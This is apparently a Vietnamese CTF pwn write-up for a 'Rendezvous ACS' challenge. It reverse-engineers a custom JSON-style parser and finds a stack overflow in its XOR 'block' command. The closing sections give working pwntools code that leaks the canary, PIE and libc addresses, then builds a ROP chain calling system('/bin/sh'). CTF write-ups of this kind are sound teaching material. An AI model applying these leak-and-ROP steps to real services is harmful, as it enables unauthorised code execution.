# WU Rendezvous ACS
### I. Phân tích
- Sau khi re binary thì mình sẽ tạo lại 2 struct như sau:
```
00000000 data struc ; (sizeof=0x50, mappedto_20)
00000000 next dq ? ; offset
00000008 back dq ? ; offset
00000010 base dq ? ; offset
00000018 type dd ?
0000001C field_1C dd ?
00000020 str dq ? ; offset
00000028 val dd ?
0000002C field_2C dd ?
00000030 field_30 dq ?
00000038 key dq ? ; offset
00000040 field_40 dq ?
00000048 field_48 dq ?
00000050 data ends
```
```
00000000 pk struc ; (sizeof=0x38, mappedto_21)
00000000 data dq ? ; XREF: sub_3788+2A/w
00000000 ; sub_3788+9A/w ... ; offset
00000008 size dq ?
00000010 idx dq ?
00000018 field_18 dq ? ; XREF: sub_3788+42/w
00000020 malloc dq ? ; XREF: sub_3788+4A/w
00000020 ; sub_3788+BC/w
00000028 free dq ?
00000030 realloc dq ?
00000038 pk ends
00000038
```
- Với struct `pk` được sử dụng để sử lý chuỗi đầu vào và struct `data` là kết quả của việc sử lý chuỗi đầu vào. Chương trình sẽ sử lý chuỗi đầu vào dạng `array = []` hoặc `list = {}` để thực hiện một tính năng nào đó.
- Data đầu vào sẽ được sử lý tại hàm calc:
```c
__int64 __fastcall calc(data *a1, pk *a2)
{
if ( !a2 || !a2->data )
return 0LL;
if ( a2->idx + 4 <= a2->size && !strncmp(&a2->data[a2->idx], "null", 4uLL) )
{
a1->type = 4;
a2->idx += 4LL;
return 1LL;
}
else if ( a2->idx + 5 <= a2->size && !strncmp(&a2->data[a2->idx], "false", 5uLL) )
{
a1->type = 1;
a2->idx += 5LL;
return 1LL;
}
else if ( a2->idx + 4 <= a2->size && !strncmp(&a2->data[a2->idx], "true", 4uLL) )
{
a1->type = 2;
a1->val = 1;
a2->idx += 4LL;
return 1LL;
}
else if ( a2->idx < a2->size && a2->data[a2->idx] == '"' )
{
return string(a1, a2);
}
else if ( a2->idx < a2->size && (a2->data[a2->idx] == '-' || a2->data[a2->idx] > '/' && a2->data[a2->idx] <= '9') )
{
return number(a1, a2);
}
else if ( a2->idx < a2->size && a2->data[a2->idx] == '[' )
{
return array(a1, a2);
}
else if ( a2->idx < a2->size && a2->data[a2->idx] == '{' )
{
return list(a1, a2);
}
else
{
return 0LL;
}
```
- Mình sẽ focus vào các hàm xử lý như `string`, `number`, `array` và `list`.
- Trong `string` mình sẽ focus vào phần trên này:
```c
v13 = &a2->data[a2->idx + 1];
v14 = &a2->data[a2->idx + 1];
v12 = 0LL;
v15 = 0LL;
if ( a2->data[a2->idx] == '"' )
{
v17 = 0LL;
v16 = 0LL;
while ( v14 - a2->data < a2->size && *v14 != '"' )
{
if ( *v14 == 92 )
{
if ( v14 + 1 - a2->data >= a2->size )
goto LABEL_35;
++v16;
++v14;
}
++v14;
}
if ( v14 - a2->data < a2->size && *v14 == '"' )
{
v17 = v14 - &a2->data[a2->idx] - v16;
v15 = (char *)((__int64 (__fastcall *)(__int64))a2->malloc)(v17 + 1);
if ( v15 )
{
v12 = v15;
while ( 1 )
{
while ( 1 )
{
if ( v13 >= v14 )
{
*v12 = 0;
a1->type = 16;
a1->str = v15;
a2->idx = v14 - a2->data;
++a2->idx;
return 1LL;
}
```
- Đầu tiên nó sẽ duyệt từ phần tử `"` để tính toán độ dài chuỗi lưu vào `v17` sau đó thực hiện cấp phát vùng nhớ tại `v15` với độ dài tương ứng vào lưu vào đó. Sau khi kết thúc chúng thực hiện đưa con trỏ `v15` vào trường `str` của `a1` và gán type = 16 đại diện cho `string`.
- Tiếp theo là `number`:
```c
__int64 __fastcall number(data *a1, pk *a2)
{
unsigned int v3; // eax
__int64 v4; // rax
_BYTE v5[9]; // [rsp+17h] [rbp-69h] BYREF
unsigned __int64 i; // [rsp+20h] [rbp-60h]
double v7; // [rsp+28h] [rbp-58h]
char nptr[72]; // [rsp+30h] [rbp-50h] BYREF
unsigned __int64 v9; // [rsp+78h] [rbp-8h]
v9 = __readfsqword(0x28u);
v7 = 0.0;
v5[8] = 0;
*(_QWORD *)v5 = (unsigned __int8)sub_20C7();
i = 0LL;
if ( !a2 || !a2->data )
return 0LL;
for ( i = 0LL; i <= 62; ++i )
{
if ( i + a2->idx >= a2->size )
break;
v3 = (unsigned __int8)a2->data[a2->idx + i] - 43;
if ( v3 > 58 )
break;
v4 = 1LL << v3;
if ( (v4 & 0x400000004007FE5LL) != 0 )
{
nptr[i] = a2->data[a2->idx + i];
}
else
{
if ( (v4 & 8) == 0 )
break;
nptr[i] = v5[0];
}
}
nptr[i] = 0;
v7 = strtod(nptr, (char **)&v5[1]);
if ( *(char **)&v5[1] == nptr )
return 0LL;
a1->field_30 = v7;
if ( v7 < 2147483647.0 )
{
if ( v7 > -2147483648.0 )
a1->val = (int)v7;
else
a1->val = 0x80000000;
}
else
{
a1->val = 0x7FFFFFFF;
}
a1->type = 8;
a2->idx += *(_QWORD *)&v5[1] - (_QWORD)nptr;
return 1LL;
}
```
- Chúng thực hiện chuyển chuỗi sang số thông qua tính toán cùng với `strtod` để chuyển sang `double` rồi nó mới ép kiểu sang `int` sau đó nó được lưu tại trường `val` của `a1`, type của nó được gán là 8.
- Tiếp theo là `array`:
```c
skip_space(a2);
if ( !a2 || a2->idx >= a2->size || a2->data[a2->idx] != 93 )
{
if ( a2 && a2->idx < a2->size )
{
--a2->idx;
while ( 1 )
{
v5 = (data *)call_fun((__int64 (__fastcall **)(__int64))&a2->malloc);
if ( !v5 )
break;
if ( v3 )
{
v4->next = v5;
v5->back = v4;
}
else
{
v3 = v5;
}
v4 = v5;
++a2->idx;
skip_space(a2);
if ( !(unsigned int)calc(v5, a2) )
break;
skip_space(a2);
if ( a2->idx >= a2->size || a2->data[a2->idx] != ',' )
{
if ( a2->idx >= a2->size || a2->data[a2->idx] != ']' )
break;
goto LABEL_20;
}
}
}
```
- `Array` sẽ start bằng `[` và duyệt đến `]`, tiếp theo chúng setup một số thứ để thực hiện duyệt các con bên trong bằng đệ quy gọi lại `calc`, mỗi phần tử con cách nhau bằng `,` và loại này được gán type = 32.
- Cuối cùng là `list`:
```c
skip_space(a2);
if ( a2->idx >= a2->size || a2->data[a2->idx] != 125 )
{
if ( a2->idx < a2->size )
{
--a2->idx;
while ( 1 )
{
v5 = (data *)call_fun((__int64 (__fastcall **)(__int64))&a2->malloc);
if ( !v5 )
break;
if ( v3 )
{
v4->next = v5;
v5->back = v4;
}
else
{
v3 = v5;
}
v4 = v5;
++a2->idx;
skip_space(a2);
if ( !(unsigned int)string(v5, a2) )
break;
skip_space(a2);
v5->key = v5->str;
v5->str = 0LL;
if ( a2->idx >= a2->size )
break;
if ( a2->data[a2->idx] != ':' )
break;
++a2->idx;
skip_space(a2);
if ( !(unsigned int)calc(v5, a2) )
break;
skip_space(a2);
if ( a2->idx >= a2->size || a2->data[a2->idx] != ',' )
{
if ( a2->idx >= a2->size || a2->data[a2->idx] != '}' )
break;
goto LABEL_23;
}
}
}
else
{
--a2->idx;
}
LABEL_26:
if ( v3 )
sub_1FC7(v3);
return 0LL;
}
LABEL_23:
--a2->field_18;
if ( v3 )
v3->back = v4;
a1->type = 64;
a1->base = v3;
++a2->idx;
return 1LL;
```
- Tương tự như `array` nhưng nó có thêm `:` để phân cách giữa 2 giá trị là `key` và `value` tương ứng, type của nó được gán là 64.
- `Array` và `List` sẽ được gán thêm trường `base`, `next` và `back` để chúng thực hiện duyệt các phần tử con trong đó.
- Hai chức năng này sẽ có thêm một số hàm bổ trợ như `get_value_json`, `len_array`.
- Chương trình gồm 3 tính năng chính:
- Thực hiện login với `cmd = 0`:
```c
if ( !cmd )
{
v20 = get_value_json(v12, "pass");
if ( !v20 || !check_type_string(v20) )
return 0xFFFFFFFFLL;
if ( !strcmp(v20->str, passwd) )
auth = 1;
goto LABEL_64;
}
```
- Thực hiện việc tạo `key` string với `cmd = 1`:
```c
if ( cmd == 1 )
{
if ( !auth )
return 0xFFFFFFFFLL;
v17 = get_value_json(v12, "key");
if ( !v17 || !check_type_array(v17) )
return 0xFFFFFFFFLL;
v2 = len_array(v17);
size = v2;
if ( v2 <= 0 )
return 0xFFFFFFFFLL;
v19 = (char *)malloc(v2);
if ( !v19 )
return 0xFFFFFFFFLL;
v6 = 0LL;
for ( k = v17->base; k; k = k->next )
{
if ( !check_type_number(k) )
return 0xFFFFFFFFLL;
v3 = v6++;
v19[v3] = k->val;
}
if ( key )
free(key);
key = v19;
key_size = size;
goto LABEL_64;
}
```
- Tính năng cuối cùng có thể là mã hóa hoặc gì đó mình không rõ với `cmd = 2`, đây cũng là tính năng gây ra lỗi overflow khi biến `v21` được khai báo kiểu char với 264 byte.
```c
if ( cmd != 2 )
break;
if ( !auth || !key || !key_size )
return 0xFFFFFFFFLL;
v14 = get_value_json(v12, "block");
if ( !v14 || !check_type_array(v14) )
return 0xFFFFFFFFLL;
v4 = len_array(v14);
v15 = v4;
if ( v4 <= 0 || v4 > (unsigned __int64)key_size )
return 0xFFFFFFFFLL;
v8 = 0LL;
for ( i = v14->base; i; i = i->next )
{
++v8;
if ( check_type_number(i) )
v21[v8 - 1] = i->val ^ key[v8 - 1];
}
v16 = get_value_json(v12, "content");
if ( !v16 || !check_type_array(v16) )
return 0xFFFFFFFFLL;
puts("\n--- start ---");
v10 = 0LL;
for ( j = v16->base; j; j = j->next )
{
if ( !check_type_number(j) )
return 0xFFFFFFFFLL;
v5 = v10++;
putchar((unsigned __int8)j->val ^ (unsigned __int8)v21[v5 % v15]);
}
puts("\n---- end ----");
```
- Biến `cmd` được lấy như sau `{"cmd": cmd}`:
```c
v13 = get_value_json(v12, "cmd");
if ( !v13 )
return 0xFFFFFFFFLL;
if ( !check_type_number(v13) )
return 0xFFFFFFFFLL;
cmd = v13->val;
```
- Để đạt được các tính năng còn lại thì đầu tiên ta sẽ phải login trước nên ta cần lấy `passwd` được in ra lúc đầu để login. Ngoài ra thì trong `data` chúng ta sẽ cần một `header`.
```python
class data:
def __init__(self):
self.header = b'\xef\xbb\xbf'
self.data = b''
def craft(self):
return self.header+self.data
passwd = r.recvline(False).decode()
pk = data()
# authen
pk.data = '{{"cmd": 0, "pass": "{}"}}'.format(passwd).encode()
r.sendline(pk.craft())
```
- Có overflow nhưng lại dính `canary` và `pie` thì trước hết ta cần phải leak và ngay tại chức năng `2` ta có thể in ra nhưng gì của `v21`:
```c
if ( !auth || !key || !key_size )
return 0xFFFFFFFFLL;
v14 = get_value_json(v12, "block");
if ( !v14 || !check_type_array(v14) )
return 0xFFFFFFFFLL;
v4 = len_array(v14);
v15 = v4;
if ( v4 <= 0 || v4 > (unsigned __int64)key_size )
return 0xFFFFFFFFLL;
v8 = 0LL;
for ( i = v14->base; i; i = i->next )
{
++v8;
if ( check_type_number(i) )
v21[v8 - 1] = i->val ^ key[v8 - 1];
}
v16 = get_value_json(v12, "content");
if ( !v16 || !check_type_array(v16) )
return 0xFFFFFFFFLL;
puts("\n--- start ---");
v10 = 0LL;
for ( j = v16->base; j; j = j->next )
{
if ( !check_type_number(j) )
return 0xFFFFFFFFLL;
v5 = v10++;
putchar((unsigned __int8)j->val ^ (unsigned __int8)v21[v5 % v15]);
}
puts("\n---- end ----");
```
- Nhưng để đến được đây thì ta cần phải đi qua mấy thứ trên. Đầu tiên thì ta cần `key` thế nên ta sẽ phải thực hiện tính năng `1`. Như trên thì `key` dùng để xor từng phần tử của `block` và lưu vào `v21` nên mình sẽ chọn đại một giá trị `"key":[0,....]`.
- Mà điều này cũng không quan trọng lắm, ta có thể thấy lúc in từ `v21` thì `v21[v5 % v15]` với `v15` là kích thước của array của `block` và nó sẽ không bao giờ in ra quá `v15`. Tức là càng nhiều phần tử thì càng in ra nhiều? Không hẳn, vì nếu như càng nhiều `number` trong `array` của `block` thì nó sẽ thực hiện phép xor càng nhiều và nó sẽ đè luôn giá trị của canary. Để làm tăng `v15` mà không bị xor thì ta chỉ cần chỉ định type là dạng string là được.
```c
# create key.
pk.data = '{{"cmd": 1, "key": [{}]}}'.format('0,'*0x150 + '0').encode()
r.sendline(pk.craft())
# leak
pk.data = '{{"cmd": 2, "block": [{}], "content": [{}]}}'.format('97,'*0x105 + '98,99,100,' + '"a",'*0x48 + '"a"', '0,'*0x140 + '0').encode()
r.sendline(pk.craft())
r.recvuntil(b'abcd')
canary = u64(r.recv(8))
info("Canary: "+hex(canary))
stack = u64(r.recv(8))
info("Stack: "+hex(stack))
exe.address = u64(r.recv(8)) - 0xb75
info("Binary: "+hex(exe.address))
r.recv(24)
libc.address = u64(r.recv(8)) - 0x29d90
info("Libc: "+hex(libc.address))
```
- Sau khi leak thì thực hiện overflow và lấy shell:
```python
pop_rdi = libc.address + 0x000000000002a3e5
payload = flat(
canary, 0,
pop_rdi, next(libc.search(b'/bin/sh')),
pop_rdi+1, libc.sym['system']
)
pk.data = '{{"cmd": 2, "block": [{}]}}'.format('98,'*0x108 + ','.join(str(byte) for byte in payload)).encode()
r.sendline(pk.craft())
```
